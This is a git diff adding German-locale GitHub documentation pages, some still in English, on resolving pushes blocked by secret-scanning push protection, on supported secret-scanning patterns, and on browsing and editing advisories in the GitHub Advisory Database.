diff --git a/translations/de-DE/content/code-security/secret-scanning/pushing-a-branch-blocked-by-push-protection.md b/translations/de-DE/content/code-security/secret-scanning/pushing-a-branch-blocked-by-push-protection.md
new file mode 100644
index 0000000000..5a7987c33c
--- /dev/null
+++ b/translations/de-DE/content/code-security/secret-scanning/pushing-a-branch-blocked-by-push-protection.md
@@ -0,0 +1,62 @@
+---
+title: Pushing a branch blocked by push protection
+intro: 'The push protection feature of {% data variables.product.prodname_secret_scanning %} proactively protects you against leaked secrets in your repositories. You can resolve blocked pushes and, once the detected secret is removed, you can push changes to your working branch from the command line or the web UI.'
+product: '{% data reusables.gated-features.secret-scanning %}'
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: secret-scanning-push-protection
+type: how_to
+topics:
+  - Secret scanning
+  - Advanced Security
+  - Alerts
+  - Repositories
+shortTitle: Push a blocked branch
+---
+
+## About push protection for {% data variables.product.prodname_secret_scanning %}
+
+The push protection feature of {% data variables.product.prodname_secret_scanning %} helps to prevent security leaks by scanning for secrets before you push changes to your repository. {% data reusables.secret-scanning.push-protection-overview %} For information on the secrets and service providers supported for push protection, see "[{% data variables.product.prodname_secret_scanning_caps %} patterns](/code-security/secret-scanning/secret-scanning-patterns#supported-secrets-for-push-protection)."
+
+{% data reusables.secret-scanning.push-protection-remove-secret %}
+
+{% tip %}
+
+**Tip** 
+If {% data variables.product.prodname_dotcom %} blocks a secret that you believe is safe to push, you can allow the secret and specify the reason why it should be allowed. For more information about bypassing push protection for a secret, see "[Allowing a blocked secret to be pushed](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#allowing-a-blocked-secret-to-be-pushed)" and "[Bypassing push protection for a secret](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#bypassing-push-protection-for-a-secret)" for the command line and the web UI, respectively. 
+
+{% endtip %}
+
+{% ifversion push-protection-custom-link-orgs %} 
+
+Organization admins can provide a custom link that will be included in the message from {% data variables.product.product_name %} when your push is blocked. This custom link can contain resources and advice specific to your organization and its policies.
+{% endif %}
+
+## Resolving a blocked push on the command line
+
+{% data reusables.secret-scanning.push-protection-command-line-choice %}
+
+{% data reusables.secret-scanning.push-protection-multiple-branch-note %}
+
+If the blocked secret was introduced by the latest commit on your branch, you can follow the guidance below.
+
+1. Remove the secret from your code.
+1. Commit the changes, by using `git commit --amend`.
+1. Push your changes with `git push`.
+
+You can also remove the secret if the secret appears in an earlier commit in the Git history.
+
+1. Use `git log` to determine which commit surfaced in the push error came first in history.
+1. Start an interactive rebase with `git rebase -i <commit-id>~1`. <commit-id> is the id of the commit from step 1.
+1. Identify your commit to edit by changing `pick` to `edit` on the first line of the text that appears in the editor.
+1. Remove the secret from your code.
+1. Commit the change with `git commit --amend`.
+1. Run `git rebase --continue` to finish the rebase.
+
+## Resolving a blocked commit in the web UI
+
+{% data reusables.secret-scanning.push-protection-web-ui-choice %}
+
+To resolve a blocked commit in the web UI, you need to remove the secret from the file, or use the **Bypass protection** dropdown to allow the secret. For more information about bypassing push protection from the web UI, see "[Protecting pushes with secret scanning](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#bypassing-push-protection-for-a-secret)."
+
+If you confirm a secret is real, you need to remove the secret from the file. Once you remove the secret, the banner at the top of the page will change and tell you that you can now commit your changes.
diff --git a/translations/de-DE/content/code-security/secret-scanning/secret-scanning-patterns.md b/translations/de-DE/content/code-security/secret-scanning/secret-scanning-patterns.md
new file mode 100644
index 0000000000..1499e8e879
--- /dev/null
+++ b/translations/de-DE/content/code-security/secret-scanning/secret-scanning-patterns.md
@@ -0,0 +1,81 @@
+---
+title: Secret scanning patterns
+intro: 'Lists of supported secrets and the partners that {% data variables.product.company_short %} works with to prevent fraudulent use of secrets that were committed accidentally.'
+product: '{% data reusables.gated-features.secret-scanning-partner %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: reference
+topics:
+  - Secret scanning
+  - Advanced Security
+redirect_from:
+  - /code-security/secret-scanning/secret-scanning-partners
+---
+
+{% data reusables.secret-scanning.beta %}
+{% data reusables.secret-scanning.enterprise-enable-secret-scanning %}
+
+{% ifversion fpt or ghec %}
+## About {% data variables.product.prodname_secret_scanning %} patterns
+
+{% data variables.product.product_name %} maintains these different sets of {% data variables.product.prodname_secret_scanning %} patterns:
+
+1. **Partner patterns.** Used to detect potential secrets in all public repositories. For details, see "[Supported secrets for partner patterns](#supported-secrets-for-partner-patterns)."
+2. **Advanced security patterns.** Used to detect potential secrets in repositories with {% data variables.product.prodname_secret_scanning %} enabled. {% ifversion ghec %} For details, see "[Supported secrets for advanced security](#supported-secrets-for-advanced-security)."{% endif %}{% ifversion secret-scanning-push-protection %}
+3. **Push protection patterns.** Used to detect potential secrets in repositories with {% data variables.product.prodname_secret_scanning %} as a push protection enabled. For details, see "[Supported secrets for push protection](#supported-secrets-for-push-protection)."{% endif %}
+
+{% ifversion fpt %}
+Organizations using {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_GH_advanced_security %} can enable {% data variables.product.prodname_secret_scanning_GHAS %} on their repositories. For details of these patterns, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/secret-scanning/secret-scanning-patterns#supported-secrets-for-advanced-security).
+{% endif %}
+
+## Supported secrets for partner patterns
+
+{% data variables.product.product_name %} currently scans public repositories for secrets issued by the following service providers. For more information about {% data variables.product.prodname_secret_scanning_partner %}, see "[About {% data variables.product.prodname_secret_scanning_partner %}](/code-security/secret-scanning/about-secret-scanning#about-secret-scanning-for-partner-patterns)."
+
+{% data reusables.secret-scanning.secret-scanning-pattern-pair-matches %}
+
+{% data reusables.secret-scanning.partner-secret-list-public-repo %}
+{% endif %}
+
+{% ifversion ghec or ghae or ghes %}
+## Supported secrets{% ifversion ghec %} for advanced security{% endif %}
+
+When {% data variables.product.prodname_secret_scanning_GHAS %} is enabled, {% data variables.product.prodname_dotcom %} scans for secrets issued by the following service providers. {% ifversion ghec %}For more information about {% data variables.product.prodname_secret_scanning_GHAS %}, see "[About {% data variables.product.prodname_secret_scanning_GHAS %}](/code-security/secret-scanning/about-secret-scanning#about-secret-scanning-for-advanced-security)."{% endif %}
+
+{% data reusables.secret-scanning.secret-scanning-pattern-pair-matches %}
+
+If you use the REST API for secret scanning, you can use the `Secret type` to report on secrets from specific issuers. For more information, see "[Secret scanning](/enterprise-cloud@latest/rest/secret-scanning)."
+ 
+{% ifversion ghes or ghae or ghec %}
+{% note %}
+
+**Note:** You can also define custom {% data variables.product.prodname_secret_scanning %} patterns for your repository, organization, or enterprise. For more information, see "[Defining custom patterns for {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)."
+
+{% endnote %}
+{% endif %}
+
+{% data reusables.secret-scanning.partner-secret-list-private-repo %}
+{% endif %}
+
+{% ifversion secret-scanning-push-protection %}
+## Supported secrets for push protection
+
+{% data variables.product.prodname_secret_scanning_caps %} as a push protection currently scans repositories for secrets issued by the following service providers.
+
+{% data reusables.secret-scanning.secret-scanning-pattern-pair-matches %}
+
+{% data reusables.secret-scanning.secret-list-private-push-protection %}
+
+{% endif %}
+## Further reading
+
+- "[Securing your repository](/code-security/getting-started/securing-your-repository)"
+- "[Keeping your account and data secure](/github/authenticating-to-github/keeping-your-account-and-data-secure)"
+{%- ifversion fpt or ghec %}
+- "[{% data variables.product.prodname_secret_scanning_caps %} partner program](/developers/overview/secret-scanning-partner-program)"
+{%- else %}
+- "[{% data variables.product.prodname_secret_scanning_caps %} partner program](/free-pro-team@latest/developers/overview/secret-scanning-partner-program)" in the {% data variables.product.prodname_ghe_cloud %} documentation
+{% endif %}
diff --git a/translations/de-DE/content/code-security/security-advisories/global-security-advisories/about-global-security-advisories.md b/translations/de-DE/content/code-security/security-advisories/global-security-advisories/about-global-security-advisories.md
new file mode 100644
index 0000000000..5fb2619d0a
--- /dev/null
+++ b/translations/de-DE/content/code-security/security-advisories/global-security-advisories/about-global-security-advisories.md
@@ -0,0 +1,38 @@
+---
+title: Informationen zu globalen Sicherheitsempfehlungen
+intro: 'Die globale Sicherheitsdatenbank in {% data variables.product.prodname_advisory_database %}, enthält CVEs und von GitHub stammende {% data variables.product.company_short %} Sicherheitsempfehlungen für Open-Source-Produkte. Du kannst zur Verbesserung der globalen Empfehlungen beitragen.'
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: overview
+topics:
+  - Security advisories
+  - Alerts
+  - Vulnerabilities
+  - CVEs
+ms.openlocfilehash: d28de180b9fee592dcba89d03ca537d4ffd2d9eb
+ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: '148114023'
+---
+## Informationen zu globalen Sicherheitsempfehlungen
+
+{% ifversion fpt or ghec %}Es gibt zwei Arten von Empfehlungen: globale Sicherheitsempfehlungen und Sicherheitsempfehlungen für Repositorys. Weitere Informationen zu Sicherheitsempfehlungen für Repositorys findest du unter [Informationen zu Sicherheitsempfehlungen für Repositorys](/code-security/security-advisories/repository-security-advisories/about-repository-security-advisories).{% endif %}
+
+Globale Sicherheitsempfehlungen sind in zwei Kategorien unterteilt: Von {% data variables.product.company_short %} geprüfte Empfehlungen und nicht geprüfte Empfehlungen.
+- Von {% data variables.product.company_short %} überprüfte Empfehlungen beziehen sich auf Sicherheitsrisiken{% ifversion GH-advisory-db-supports-malware %} oder Malware{% endif %}, die Paketen in von uns unterstützten Ökosystemen zugeordnet wurden.
+- Nicht überprüfte Empfehlungen sind Sicherheitsrisiken, die direkt aus dem Feed der National Vulnerability Database (Nationale Datenbank zu Sicherheitsrisiken) automatisch in {% data variables.product.prodname_advisory_database %} veröffentlicht werden. 
+
+Weitere Informationen zur {% data variables.product.prodname_advisory_database %} findest du unter [Informationen zu {% data variables.product.prodname_advisory_database %}](/code-security/security-advisories/global-security-advisories/about-the-github-advisory-database).
+
+{% data reusables.security-advisory.global-advisories %}
+
+Jede Repositoryempfehlung wird vom {% data variables.product.prodname_security %}-Kuratorenteam darauf geprüft, ob sie als globale Empfehlung infrage kommt. Wir veröffentlichen Sicherheitshinweise für alle Ökosysteme, die von dem Abhängigkeitsdiagramm der {% data variables.product.prodname_advisory_database %} auf [github.com/advisories](https://github.com/advisories) unterstützt werden.
+
+Du kannst auf jede Empfehlung in {% data variables.product.prodname_advisory_database %} zugreifen. Weitere Informationen findest du unter [Durchsuchen von Sicherheitsempfehlungen in GitHub Advisory Database](/code-security/security-advisories/global-security-advisories/browsing-security-advisories-in-the-github-advisory-database).
+
+Du kannst für alle Empfehlungen in {% data variables.product.prodname_advisory_database %} Verbesserungen vorschlagen. Weitere Informationen findest du unter [Bearbeiten von Sicherheitsempfehlungen in {% data variables.product.prodname_advisory_database %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/editing-security-advisories-in-the-github-advisory-database).
diff --git a/translations/de-DE/content/code-security/security-advisories/global-security-advisories/about-the-github-advisory-database.md b/translations/de-DE/content/code-security/security-advisories/global-security-advisories/about-the-github-advisory-database.md
new file mode 100644
index 0000000000..3e254572b4
--- /dev/null
+++ b/translations/de-DE/content/code-security/security-advisories/global-security-advisories/about-the-github-advisory-database.md
@@ -0,0 +1,84 @@
+---
+title: About the GitHub Advisory database
+intro: 'The {% data variables.product.prodname_advisory_database %} contains a list of known security vulnerabilities {% ifversion GH-advisory-db-supports-malware %}and malware, {% endif %}grouped in two categories: {% data variables.product.company_short %}-reviewed advisories and unreviewed advisories.'
+miniTocMaxHeadingLevel: 3
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: overview
+topics:
+  - Security advisories
+  - Alerts
+  - Vulnerabilities
+  - CVEs
+---
+
+## About the {% data variables.product.prodname_advisory_database %}
+
+{% data reusables.repositories.tracks-vulnerabilities %}
+
+Security advisories are published as JSON files in the Open Source Vulnerability (OSV) format. For more information about the OSV format, see "[Open Source Vulnerability format](https://ossf.github.io/osv-schema/)."
+
+## About types of security advisories
+
+{% data reusables.advisory-database.beta-malware-advisories %}
+
+Each advisory in the {% data variables.product.prodname_advisory_database %} is for a vulnerability in open source projects{% ifversion GH-advisory-db-supports-malware %} or for malicious open source software{% endif %}. 
+
+{% data reusables.repositories.a-vulnerability-is %} Vulnerabilities in code are usually introduced by accident and fixed soon after they are discovered. You should update your code to use the fixed version of the dependency as soon as it is available.
+
+{% ifversion GH-advisory-db-supports-malware %}
+
+In contrast, malicious software, or malware, is code that is intentionally designed to perform unwanted or harmful functions. The malware may target hardware, software, confidential data, or users of any application that uses the malware. You need to remove the malware from your project and find an alternative, more secure replacement for the dependency.
+
+{% endif %}
+
+### {% data variables.product.company_short %}-reviewed advisories
+
+{% data variables.product.company_short %}-reviewed advisories are security vulnerabilities{% ifversion GH-advisory-db-supports-malware %} or malware{% endif %} that have been mapped to packages in ecosystems we support. We carefully review each advisory for validity and ensure that they have a full description, and contain both ecosystem and package information.
+
+Generally, we name our supported ecosystems after the software programming language's associated package registry. We review advisories if they are for a vulnerability in a package that comes from a supported registry.
+
+- Composer (registry: https://packagist.org/){% ifversion GH-advisory-db-erlang-support %}
+- Erlang (registry: https://hex.pm/){% endif %}
+- Go (registry: https://pkg.go.dev/)
+{%- ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %}
+- GitHub Actions (https://github.com/marketplace?type=actions/) {% endif %}
+- Maven (registry: https://repo.maven.apache.org/maven2)
+- npm (registry: https://www.npmjs.com/)
+- NuGet (registry: https://www.nuget.org/)
+- pip (registry: https://pypi.org/){% ifversion dependency-graph-dart-support %}
+- pub (registry: https://pub.dev/packages/registry){% endif %}
+- RubyGems (registry: https://rubygems.org/)
+- Rust (registry: https://crates.io/)
+
+If you have a suggestion for a new ecosystem we should support, please open an [issue](https://github.com/github/advisory-database/issues) for discussion.
+
+If you enable {% data variables.product.prodname_dependabot_alerts %} for your repositories, you are automatically notified when a new {% data variables.product.company_short %}-reviewed advisory reports a vulnerability {% ifversion GH-advisory-db-supports-malware %}or malware{% endif %} for a package you depend on. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)."
+
+### Unreviewed advisories
+
+Unreviewed advisories are security vulnerabilites that we publish automatically into the {% data variables.product.prodname_advisory_database %}, directly from the National Vulnerability Database feed. 
+
+{% data variables.product.prodname_dependabot %} doesn't create {% data variables.product.prodname_dependabot_alerts %} for unreviewed advisories as this type of advisory isn't checked for validity or completion.
+
+## About information in security advisories
+
+Each security advisory contains information about the vulnerability{% ifversion GH-advisory-db-supports-malware %} or malware,{% endif %} which may include the description, severity, affected package, package ecosystem, affected versions and patched versions, impact, and optional information such as references, workarounds, and credits. In addition, advisories from the National Vulnerability Database list contain a link to the CVE record, where you can read more details about the vulnerability, its CVSS scores, and its qualitative severity level. For more information, see the "[National Vulnerability Database](https://nvd.nist.gov/)" from the National Institute of Standards and Technology.
+
+The severity level is one of four possible levels defined in the "[Common Vulnerability Scoring System (CVSS), Section 5](https://www.first.org/cvss/specification-document)."
+- Low
+- Medium/Moderate
+- High
+- Critical
+
+The {% data variables.product.prodname_advisory_database %} uses the CVSS levels described above. If {% data variables.product.company_short %} obtains a CVE, the {% data variables.product.prodname_advisory_database %} uses CVSS version 3.1. If the CVE is imported, the {% data variables.product.prodname_advisory_database %} supports both CVSS versions 3.0 and 3.1.
+
+{% data reusables.repositories.github-security-lab %}
+
+## Further reading
+
+- "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts)"
+- MITRE's [definition of "vulnerability"](https://www.cve.org/ResourcesSupport/Glossary#vulnerability)
\ No newline at end of file
diff --git a/translations/de-DE/content/code-security/security-advisories/global-security-advisories/browsing-security-advisories-in-the-github-advisory-database.md b/translations/de-DE/content/code-security/security-advisories/global-security-advisories/browsing-security-advisories-in-the-github-advisory-database.md
new file mode 100644
index 0000000000..96059629ee
--- /dev/null
+++ b/translations/de-DE/content/code-security/security-advisories/global-security-advisories/browsing-security-advisories-in-the-github-advisory-database.md
@@ -0,0 +1,128 @@
+---
+title: Durchsuchen von Sicherheitsempfehlungen in der GitHub Advisory Database
+intro: 'Du kannst die {% data variables.product.prodname_advisory_database %} durchsuchen, um Hinweise auf Sicherheitsrisiken in Open Source-Projekten zu finden, die auf {% data variables.product.company_short %} gehostet werden.'
+shortTitle: Browse Advisory Database
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /github/managing-security-vulnerabilities/browsing-security-vulnerabilities-in-the-github-advisory-database
+  - /code-security/supply-chain-security/browsing-security-vulnerabilities-in-the-github-advisory-database
+  - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database
+  - /code-security/dependabot/dependabot-alerts/browsing-security-vulnerabilities-in-the-github-advisory-database
+  - /code-security/dependabot/dependabot-alerts/browsing-security-advisories-in-the-github-advisory-database
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Security advisories
+  - Alerts
+  - Dependabot
+  - Vulnerabilities
+  - CVEs
+ms.openlocfilehash: 19c37d2a1a1101f9984de13cd034bb0ee5e285a8
+ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: '148114018'
+---
+<!--Marketing-LINK: From /features/security/software-supply-chain page "Browsing security vulnerabilities in the GitHub Advisory Database".-->
+
+## Zugriff auf einen Hinweis in der {% data variables.product.prodname_advisory_database %}
+
+Du kannst auf jede Empfehlung in {% data variables.product.prodname_advisory_database %} zugreifen.
+
+1. Navigiere zu https://github.com/advisories.
+2. Du kannst die Liste auch mit einem der Dropdownmenüs filtern.
+  ![Dropdownfilter](/assets/images/help/security/advisory-database-dropdown-filters.png) {% tip %}
+
+   **Tipp**: Über die linke Randleiste kannst du die von {% data variables.product.company_short %} überprüften und die nicht überprüften Empfehlungen separat durchsuchen.
+
+   {% endtip %}
+3. Klicke auf eine Empfehlung, um die Details zu sehen. Standardmäßig werden von {% data variables.product.company_short %} überprüfte Empfehlungen zu Sicherheitsrisiken angezeigt. {% ifversion GH-advisory-db-supports-malware %} Zeige Empfehlungen zu Schadsoftware mit `type:malware` in der Suchleiste an.{% endif %}
+
+
+{% note %}
+
+Die Datenbank ist auch über die GraphQL-API zugänglich. {% ifversion GH-advisory-db-supports-malware %}Standardmäßig geben Abfragen von {% data variables.product.company_short %} überprüfte Empfehlungen zu Sicherheitsrisiken zurück, es sei denn, du gibst `type:malware` an.{% endif %} Weitere Informationen findest du im [`security_advisory` Webhook-Ereignis](/webhooks/event-payloads/#security_advisory).
+
+{% endnote %}
+
+## Bearbeiten einer Empfehlung in {% data variables.product.prodname_advisory_database %}
+Du kannst für alle Empfehlungen in {% data variables.product.prodname_advisory_database %} Verbesserungen vorschlagen. Weitere Informationen findest du unter [Bearbeiten von Sicherheitsempfehlungen in {% data variables.product.prodname_advisory_database %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/editing-security-advisories-in-the-github-advisory-database).
+
+## Durchsuche die {% data variables.product.prodname_advisory_database %}
+
+Du kannst die Datenbank durchsuchen und die Suche mithilfe von Qualifizierern eingrenzen. Du kannst die Suche z. B. nach Empfehlungen eingrenzen, die an einem bestimmten Datum, in einem bestimmten Ökosystem oder in einer bestimmten Bibliothek erstellt wurden.
+
+{% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+
+{% data reusables.search.date_gt_lt %}
+
+| Qualifizierer  | Beispiel |
+| ------------- | ------------- |
+| `type:reviewed`| [**type:reviewed**](https://github.com/advisories?query=type%3Areviewed) zeigt von {% data variables.product.company_short %} überprüfte Empfehlungen zu Sicherheitsrisiken an. |
+{% ifversion GH-advisory-db-supports-malware %}| `type:malware` | [**type:malware**](https://github.com/advisories?query=type%3Amalware) zeigt von {% data variables.product.company_short %} überprüfte Empfehlungen zu Malware an. |
+{% endif %}| `type:unreviewed`| [**type:unreviewed**](https://github.com/advisories?query=type%3Aunreviewed) zeigt nicht überprüfte Empfehlungen an. |
+| `GHSA-ID`| [**GHSA-49wp-qq6x-g2rf**](https://github.com/advisories?query=GHSA-49wp-qq6x-g2rf) zeigt die Empfehlung mit dieser {% data variables.product.prodname_advisory_database %}-ID an. |
+| `CVE-ID`| [**CVE-2020-28482**](https://github.com/advisories?query=CVE-2020-28482) zeigt die Empfehlung mit dieser CVE-ID an. |
+| `ecosystem:ECOSYSTEM`| [**ecosystem:npm**](https://github.com/advisories?utf8=%E2%9C%93&query=ecosystem%3Anpm) zeigt nur Empfehlungen für NPM-Pakete an. |
+| `severity:LEVEL`| [**severity:high**](https://github.com/advisories?utf8=%E2%9C%93&query=severity%3Ahigh) zeigt nur Empfehlungen mit hohem Schweregrad an. |
+| `affects:LIBRARY`| [**affects:lodash**](https://github.com/advisories?utf8=%E2%9C%93&query=affects%3Alodash) zeigt nur Empfehlungen für die Bibliothek „lodash“ an. |
+| `cwe:ID`| [**cwe:352**](https://github.com/advisories?query=cwe%3A352) zeigt nur Empfehlungen mit dieser CWE-Nummer an. |
+| `credit:USERNAME`| [**credit:octocat**](https://github.com/advisories?query=credit%3Aoctocat) zeigt nur Empfehlungen des Benutzerkontos „octocat“ an. |
+| `sort:created-asc`| [**sort:created-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-asc) sortiert die Empfehlungen in absteigender Reihenfolge nach dem Datum. |
+| `sort:created-desc`| [**sort:created-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-desc) sortiert die Empfehlungen in aufsteigender Reihenfolge nach dem Datum. |
+| `sort:updated-asc`| [**sort:updated-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-asc) sortiert die Empfehlungen in absteigender Reihenfolge nach dem Zeitpunkt der Aktualisierung. |
+| `sort:updated-desc`| [**sort:updated-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-desc) sortiert die Empfehlungen in aufsteigender Reihenfolge nach dem Zeitpunkt der Aktualisierung. |
+| `is:withdrawn`| [**is:withdrawn**](https://github.com/advisories?utf8=%E2%9C%93&query=is%3Awithdrawn) zeigt nur zurückgezogene Empfehlungen an. |
+| `created:YYYY-MM-DD`| [**created:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=created%3A2021-01-13) zeigt nur Empfehlungen an, die an diesem Datum erstellt wurden. |
+| `updated:YYYY-MM-DD`| [**updated:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=updated%3A2021-01-13) zeigt nur Empfehlungen an, die an diesem Datum aktualisiert wurden. |
+
+## Anzeigen von anfälligen Repositorys
+
+Du kannst für alle von {% data variables.product.company_short %} überprüften Empfehlungen in der {% data variables.product.prodname_advisory_database %} diejenigen Repositorys anzeigen, die von einem bestimmten Sicherheitsrisiko{% ifversion GH-advisory-db-supports-malware %} oder Malware{% endif %} betroffen sind. Dafür benötigst du für dieses Repository Zugriff auf {% data variables.product.prodname_dependabot_alerts %}. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#access-to-dependabot-alerts).
+
+1. Navigiere zu https://github.com/advisories.
+2. Klicke auf eine Empfehlung.
+3. Klicke oben auf der Seite der Empfehlung auf **Dependabot-Warnungen**.
+   ![Dependabot-Warnungen](/assets/images/help/security/advisory-database-dependabot-alerts.png)
+4. Du kannst die Liste auch über die Suchleiste oder mit einem der Dropdownmenüs filtern. Über das Dropdownmenü „Organisation“ kannst du {% data variables.product.prodname_dependabot_alerts %} nach Besitzer (Organisation oder Benutzer*in) filtern.
+   ![Suchleiste und Dropdownmenüs zum Filtern von Warnungen](/assets/images/help/security/advisory-database-dependabot-alerts-filters.png)
+5. Klicke auf den Namen der Empfehlung, um weitere Informationen zum jeweiligen Sicherheitsrisiko sowie Ratschläge zu dessen Behebung anzuzeigen.
+
+{% ifversion security-advisories-ghes-ghae %}
+## Zugriff auf die lokale Empfehlungsdatenbank in {% data variables.location.product_location %}
+
+Wenn dein*e Websiteadministrator*in {% data variables.product.prodname_github_connect %} für {% data variables.location.product_location %} aktiviert hat, kannst du geprüfte Empfehlungen auch lokal durchsuchen. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect).
+
+Du kannst mit deiner lokalen Advisory Database überprüfen, ob ein bestimmtes Sicherheitsrisiko vorliegt, und entsprechend Warnungen zu sicherheitsanfälligen Abhängigkeiten erhalten. Du kannst auch alle sicherheitsanfälligen Repositorys anzeigen. 
+
+1. Navigiere zu `https://HOSTNAME/advisories`.
+2. Du kannst die Liste auch mit einem der Dropdownmenüs filtern.
+  ![Dropdownfilter](/assets/images/help/security/advisory-database-dropdown-filters.png) {% note %}
+
+   **Hinweis:** Nur überprüfte Empfehlungen werden aufgelistet. Nicht überprüfte Empfehlungen können in der {% data variables.product.prodname_advisory_database %} auf {% data variables.product.prodname_dotcom_the_website %} angezeigt werden. Weitere Informationen findest du unter [Zugreifen auf eine Empfehlung in der GitHub Advisory Database](#accessing-an-advisory-in-the-github-advisory-database). 
+
+   {% endnote %}
+3. Klicke auf eine Empfehlung, um Details anzuzeigen.{% ifversion GH-advisory-db-supports-malware %} Standardmäßig werden von {% data variables.product.company_short %} überprüfte Empfehlungen zu Sicherheitsrisiken angezeigt. Verwende `type:malware` in der Suchleiste zum Anzeigen von Empfehlungen zu Schadsoftware.{% endif %}
+
+Du kannst Verbesserungen von Empfehlungen auch direkt von deiner lokalen Advisory Database aus vorschlagen. Weitere Informationen findest du unter [Bearbeiten von Empfehlungen aus {% data variables.location.product_location %}](/code-security/dependabot/dependabot-alerts/editing-security-advisories-in-the-github-advisory-database#editing-advisories-from-your-github-enterprise-server-instance).
+
+### Anzeigen anfälliger Repositorys für {% data variables.location.product_location %}
+
+{% data reusables.repositories.enable-security-alerts %}
+
+In der lokalen Advisory Database kannst du sehen, welche Repositorys von dem jeweiligen Sicherheitsrisiko{% ifversion GH-advisory-db-supports-malware %} oder von Malware{% endif %} betroffen sind. Dafür benötigst du für dieses Repository Zugriff auf {% data variables.product.prodname_dependabot_alerts %}. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#access-to-dependabot-alerts).
+
+1. Navigiere zu `https://HOSTNAME/advisories`.
+2. Klicke auf eine Empfehlung.
+3. Klicke oben auf der Seite der Empfehlung auf **Dependabot-Warnungen**.
+   ![Dependabot-Warnungen](/assets/images/help/security/advisory-database-dependabot-alerts.png)
+4. Du kannst die Liste auch über die Suchleiste oder mit einem der Dropdownmenüs filtern. Über das Dropdownmenü „Organisation“ kannst du {% data variables.product.prodname_dependabot_alerts %} nach Besitzer (Organisation oder Benutzer*in) filtern.
+   ![Suchleiste und Dropdownmenüs zum Filtern von Warnungen](/assets/images/help/security/advisory-database-dependabot-alerts-filters.png)
+5. Klicke auf den Namen der Empfehlung, um weitere Informationen zum jeweiligen Sicherheitsrisiko sowie Ratschläge zu dessen Behebung anzuzeigen.
+
+{% endif %}
diff --git a/translations/de-DE/content/code-security/security-advisories/global-security-advisories/editing-security-advisories-in-the-github-advisory-database.md b/translations/de-DE/content/code-security/security-advisories/global-security-advisories/editing-security-advisories-in-the-github-advisory-database.md
new file mode 100644
index 0000000000..7e3a6fae74
--- /dev/null
+++ b/translations/de-DE/content/code-security/security-advisories/global-security-advisories/editing-security-advisories-in-the-github-advisory-database.md
@@ -0,0 +1,62 @@
+---
+title: Bearbeiten von Sicherheitshinweisen in GitHub Advisory Database
+intro: 'Du kannst Verbesserungen für jede in der {% data variables.product.prodname_advisory_database %} veröffentlichte Empfehlung übermitteln.'
+redirect_from:
+  - /code-security/security-advisories/editing-security-advisories-in-the-github-advisory-database
+  - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/editing-security-advisories-in-the-github-advisory-database
+  - /code-security/dependabot/dependabot-alerts/editing-security-advisories-in-the-github-advisory-database
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Security advisories
+  - Alerts
+  - Dependabot
+  - Vulnerabilities
+  - CVEs
+shortTitle: Edit Advisory Database
+ms.openlocfilehash: 7cfe2ff49c830922457ef5192ca0db7d326e1388
+ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: '148114065'
+---
+## Bearbeiten von Empfehlungen in {% data variables.product.prodname_advisory_database %}
+
+Bei den Empfehlungen in {% data variables.product.prodname_advisory_database %} handelt es sich um globale Sicherheitsempfehlungen. Weitere Informationen zu globalen Sicherheitsempfehlungen findest du unter [Informationen zu globalen Sicherheitsempfehlungen](/code-security/security-advisories/global-security-advisories/about-global-security-advisories).
+
+Jeder kann für alle globalen Sicherheitshinweise in {% data variables.product.prodname_advisory_database %} Verbesserungen vorschlagen. Du kannst beliebige Details bearbeiten oder hinzufügen, u. a. zusätzlich betroffene Ökosysteme, Schweregrad oder Beschreibung der betroffenen Personen. Das {% data variables.product.prodname_security %}-Kuratorenteam überprüft die eingereichten Verbesserungsvorschläge und veröffentlicht sie in {% data variables.product.prodname_advisory_database %}, falls sie akzeptiert werden.
